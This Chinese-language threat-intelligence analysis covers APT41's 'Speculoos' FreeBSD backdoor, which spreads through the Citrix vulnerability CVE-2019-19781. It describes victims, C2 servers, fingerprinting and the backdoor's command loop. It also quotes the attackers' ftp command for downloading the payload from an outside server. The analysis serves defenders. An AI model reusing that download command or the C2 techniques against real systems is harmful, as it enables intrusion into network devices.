fireeye在2020年3月25日发布了一份关于apt41全球攻击活动的报告。此攻击活动发生在1月20日至3月11日期间,主要对citrix,cisco和zoho网络设备进行攻击。研究人员根据wildfire和autofocus数据获得了针对citrix设备的攻击样本‘speculoos’,还确定了北美,南美和欧洲等世界各地多个行业的受害者。
speculoos的基于freebsd实现的,共识别出五个样本,所有样本文件大小基本相同,样本集之间存在微小差异。speculoos利用cve-2019-19781进行攻击传播,cve-2019-19781影响citrix application delivery controller,citrix gateway和citrix sd-wan wanop等设备,允许攻击者远程执行任意命令。
攻击细节攻击者利用cve-2019-19781远程执行命令:'/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@ 66.42.98[.]220/<filename>'。
第一波攻击始于2020年1月31日晚上,使用的文件名为bsd,影响了美国的多个高等教育机构,美国医疗机构和爱尔兰咨询公司。第二波攻击始于2020年2月24日,使用文件名为un,影响了哥伦比亚高等教育机构,奥地利制造组织,美国高等教育机构以及美国的州政府。
基于bsd系统的恶意软件相对少见,此工具和特定citrix网络设备有关,因此speculoos很可能是apt41组织专为此攻击活动研发的。
二进制分析在freebsd系统上可以运行使用gcc 4.2.1编译的elf可执行文件speculoos后门。 该负载无法保持持对目标持久控制,因此攻击者会使用额外的组件或其他攻击手段维持控制。执行后门后,会进入循环,该循环通过443端口与c2域通信,并调用函数
alibaba.zzux[.]com (119.28.139[.]120)
当通信出现问题时,speculoos会通过443端口尝试连接到备用c2服务器,其ip地址为119.28.139[.]20。如果连接到任一c2服务器,它将与服务器进行tls握手。 图1显示了发送到c2服务器的数据包。
它请求login.live [.] com作为server name indication(sni)。
成功连接到c2并完成tls握手后,speculoos将对目标系统进行指纹识别,并将数据发送回c2服务器。其结构如下表1所示。
数据通过tls通道发送,并且speculoos会等待服务器的两字节响应。在收到回应后,它会发送一个字节(0xa)到c2,并进入循环以等待命令。 表2为攻击者可执行命令, 可让攻击者完全控制受害者系统。
研究中分析的两个speculoos样本在功能上相同,两者之间只有八个字节不同,在收集系统信息时‘hostname‘和‘uname -s’命令不同导致。uname -s返回内核信息,hostname返回主机系统名称。 下图显示了两个speculoos样本之间的二进制比较。
影响评估互联网可访问设备允许未经授权的用户远程执行代会带来很大的安全问题,cve-2019-19781影响了多个面向互联网的设备,攻击者积极利用此漏洞来安装自定义后门。攻击者可以监视或修改整个组织的网络活动,因为所有受影响的组织的网络活动都必须通过这些网络设备进行。
默认情况下通过这些设备可以直接访问组织系统内部,攻击者无需考虑内部网络横向移动的问题。网络攻击者有几种手段攻击,例如改变网络数据、注入恶意代码、实施中间人攻击或将用户引诱到虚假登录页面以窃取登录信息。
以上就是如何进行apt41 speculoos后门分析的详细内容。